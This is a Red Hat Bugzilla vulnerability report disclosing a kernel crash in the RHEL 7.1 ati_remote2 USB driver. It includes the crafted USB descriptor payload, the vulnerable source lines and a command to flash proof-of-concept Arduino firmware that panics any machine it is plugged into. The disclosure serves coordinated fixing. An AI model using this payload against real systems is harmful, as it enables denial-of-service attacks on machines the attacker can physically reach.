Hide Forgot
Description of problem: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (ati_remote2 driver bug2) [local-DoS] Version-Release number of selected component (if applicable): Kernel-Version: 3.10.0-229.20.1.el7.x86_64 How reproducible: always OpenSource Security Ralf Spenneberg Am Bahnhof 3-5 48565 Steinfurt info Date: November 12th, 2015 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (ati_remote2 driver) [local-DoS] Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Abstract The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB device which requires the ati_remote2 driver. Detailed product description We confirmed the bug on the following system: RHEL 7.1 Kernel = 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: ######### PAYLOAD 1 ######### [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0xff bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x471 idProduct: 0x602 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing two interface-descriptors. The ati_remote2 driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors. If one of them contains a zero-value for bNumEndpoints or no endpoint-descriptor is configured for the corresponding interface-descriptor, the ati_remote2 driver tries to dereference a null-pointer and the kernel crashes: **** $ nm ati_remote2.ko.debug | grep ati_remote2_probe 0000000000001300 t ati_remote2_probe $ addr2line -e ati_remote2.ko.debug 13ff /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/ati_remote2.c) ... 632 static int ati_remote2_urb_init(struct ati_remote2 *ar2) 633 { ... 646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer derference */ 647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe)); ... 820 ar2->intf[0] = interface; 821 ar2->ep[0] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-0) */ 822 823 ar2->intf[1] = usb_ifnum_to_if(udev, 1); 824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); 825 if (r) 826 goto fail1; 827 alt = ar2->intf[1]->cur_altsetting; 828 ar2->ep[1] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-1) */ ... **** [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 <-- malicious value for interface-0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 <-- malicious value for interface-1 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc Proof of Concept: 1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo). The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board. In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board. 2) For a proof of concept we are providing also an Arduino firmware file. Just flash it on Arduino Leonardo and plug it into any RHEL machine. The Arduino will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The file binary.hex has been attached to this bug report. To prevent automated sending of payloads, use a jumper to connect port D3 and 5V! Severity and Ease of Exploitation The security weakness can be easily exploited. Using our Arduino firmware only physical access to the system is required. Additional info: Stacktrace, vUSBf-Payload, additional vUSBf-Descriptorfile and Arduino-Firmware attached. Please assign a CVE for this issue since this is a local DoS of the targeted system. CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Created attachment 1096262 [details] vUSBf Payload The following attachments represents the case that both interface-descriptors contain malicious values. Thus, the kernel crashes at the first nullpointer-dereference. Please let us know if you need corresponding attachments to reproduce also the second nullpointer-dereference. #### vUSBf-Payload: This vUSBf-Payload requires a file named ati_remote2_bug2.txt located in vUSBf/dev_desc. This file is also attached to this bug-report (* see vUSBf-Descriptorfile *).
Created attachment 1096263 [details] Modified vUSBf descriptor file
Created attachment 1096264 [details] Stacktrace
Created attachment 1096265 [details] Arduino firmware demonstrating the bug
CVE-2016-2185 which is Red Hat's private CVE ID was assigned to this security flaw. Please, use it in the public communications regarding this flaw, thank you.
public via: http://seclists.org/bugtraq/2016/Mar/90
patch posted upstream (linux-usb@ and linux-input@ lists): http://marc.info/?l=linux-usb&m=145874840924378&w=2 | http://article.gmane.org/gmane.linux.usb.general/139169 | http://www.spinics.net/lists/linux-usb/msg138107.html http://marc.info/?l=linux-input&m=145874841024379&w=2 | http://www.spinics.net/lists/linux-input/msg43818.html
Thank you for reporting this flaw. The Product Security has rated this flaw as having low security impact (bz#1317014), so the patch is currently not planned to be added to the RHEL source trees. If accepted to the upstream, the patch may get to the RHEL trees later at the next USB subsystem code rebase.